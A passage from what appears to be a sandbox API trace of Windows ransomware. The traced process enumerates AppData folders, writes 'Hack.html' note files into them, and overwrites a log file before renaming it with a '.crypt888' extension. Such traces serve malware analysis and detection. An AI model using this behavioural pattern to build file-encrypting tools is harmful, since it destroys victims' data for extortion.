lpFilePart=0x0) returned 0x3d [0091.007] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\", lpFilePart=0x0) returned 0x3e [0091.007] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0091.007] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.007] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.008] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.008] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3d [0091.008] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\", lpFilePart=0x0) returned 0x3e [0091.008] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0091.008] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.009] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.009] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.009] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Hack.html", lpFilePart=0x0) returned 0x47 [0091.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0091.009] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.010] GetFileType (hFile=0x174) returned 0x1 [0091.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0091.010] GetFileType (hFile=0x174) returned 0x1 [0091.010] WriteFile (in: hFile=0x174, lpBuffer=0x28accac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x28accac*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.011] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3d [0091.011] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\", lpFilePart=0x0) returned 0x3e [0091.011] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0091.011] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.012] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.012] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.012] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.012] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.012] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3d [0091.012] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\", lpFilePart=0x0) returned 0x3e [0091.012] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0091.012] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.013] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.013] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Hack.html", lpFilePart=0x0) returned 0x47 [0091.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0091.013] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.014] GetFileType (hFile=0x174) returned 0x1 [0091.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0091.014] GetFileType (hFile=0x174) returned 0x1 [0091.014] WriteFile (in: hFile=0x174, lpBuffer=0x28b123c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x28b123c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.015] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\Hack.html", lpFilePart=0x0) returned 0x3e [0091.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0091.015] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.015] GetFileType (hFile=0x174) returned 0x1 [0091.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0091.015] GetFileType (hFile=0x174) returned 0x1 [0091.016] WriteFile (in: hFile=0x174, lpBuffer=0x28b3a3c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x28b3a3c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0091.017] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3a [0091.017] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x3b [0091.017] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0091.017] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.017] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.017] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.017] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.017] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0091.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0091.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0091.017] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3a [0091.017] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x3b [0091.017] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0091.018] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.018] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.018] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.018] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.018] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0091.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0091.018] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x46 [0091.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0091.018] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.019] GetFileType (hFile=0x174) returned 0x1 [0091.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0091.019] GetFileType (hFile=0x174) returned 0x1 [0091.019] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x2fa9 [0091.020] ReadFile (in: hFile=0x174, lpBuffer=0x28b6800, nNumberOfBytesToRead=0x2fa9, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x28b6800*, lpNumberOfBytesRead=0x39ecbc*=0x2fa9, lpOverlapped=0x0) returned 1 [0091.070] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x46 [0091.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0091.070] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.071] GetFileType (hFile=0x174) returned 0x1 [0091.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0091.071] GetFileType (hFile=0x174) returned 0x1 [0091.071] WriteFile (in: hFile=0x174, lpBuffer=0x2716b7c*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x2716b7c*, lpNumberOfBytesWritten=0x39ecac*=0x2fb0, lpOverlapped=0x0) returned 1 [0091.072] CloseHandle (hObject=0x174) returned 1 [0091.072] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x46 [0091.072] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.crypt888", lpFilePart=0x0) returned 0x4f [0091.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0091.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc77c8600, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0)) returned 1 [0091.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0091.073] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.crypt888" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.crypt888")) returned 1 [0091.073] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\Hack.html", lpFilePart=0x0) returned 0x44 [0091.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0091.073] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.075] GetFileType (hFile=0x174) returned 0x1 [0091.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0091.075] GetFileType (hFile=0x174) returned 0x1 [0091.076] WriteFile (in: hFile=0x174, lpBuffer=0x271b654*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x271b654*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.077] CloseHandle (hObject=0x174) returned 1 [0091.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0091.077] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x35 [0091.077] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\", lpFilePart=0x0) returned 0x36 [0091.077] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a868 [0091.079] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.080] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.080] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.080] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.080] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.080] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0091.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0091.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0091.081] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x35 [0091.081] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\", lpFilePart=0x0) returned 0x36 [0091.081] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a868 [0091.082] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.082] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.083] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.083] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.083] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.083] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0091.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0091.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.084] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x44 [0091.084] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\", lpFilePart=0x0) returned 0x45 [0091.084] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a868 [0091.085] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.085] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.086] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.086] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.086] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x44 [0091.086] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\", lpFilePart=0x0) returned 0x45 [0091.086] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a868 [0091.086] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.086] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.087] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.087] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0091.087] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4a [0091.087] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\", lpFilePart=0x0) returned 0x4b [0091.087] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a868 [0091.088] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.088] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.088] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.088] 